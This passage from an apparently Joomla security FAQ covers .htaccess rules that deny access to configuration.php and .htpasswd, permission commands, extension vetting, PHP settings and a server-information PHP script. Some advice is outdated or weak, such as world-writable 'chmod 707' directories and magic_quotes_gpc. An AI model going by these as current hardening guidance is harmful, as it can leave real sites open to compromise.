
define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you can not use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including
recommendations on configuration; 
 

Joomla! Tools Suite (JTS) is a complete "Suite" of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script 
<a href="http://joomlacode.org/gf/project/jts/" target="_blank">Download JTS Here</a> 
 
Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. 
<a href="http://joomlacode.org/gf/project/hisa/" target="_blank">Download HISA Here</a> 
 
<a href="http://forum.joomla.org/index.php/topic,136328.0.html" target="_blank">Forum Discussion Here</a> 
<a href="http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank">How to TroubleShoot A Joomla! Installation</a> 
 
Another Indirect method,
and possibly not 100% reliable, is that if you are unable to make use
of .htaccess on Linux hosting and Apache based servers then you are
either running in CGI mode or your host has disabled the use of
.htaccess even if your server is running PHP as an Apache Module. 

Remove these files immediately after use, the information contained in their
output is extensive and explicit regarding your PHP and server
configurations, it will help those wishing to cause your site harm 

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse'
your PHP scripts, the httpd.conf needs to be modified, typically found
in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/". 

Search for the section of the file that has a series of commented out
"LoadModule" statements. (Statements prefixed by the hash "#" sign are
regarded as having been commented out.) If PHP is running in "Apache
Module" Mode you should see something very similar to the following; 

LoadModule php4_module "c:/php/php4apache.dll" 

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

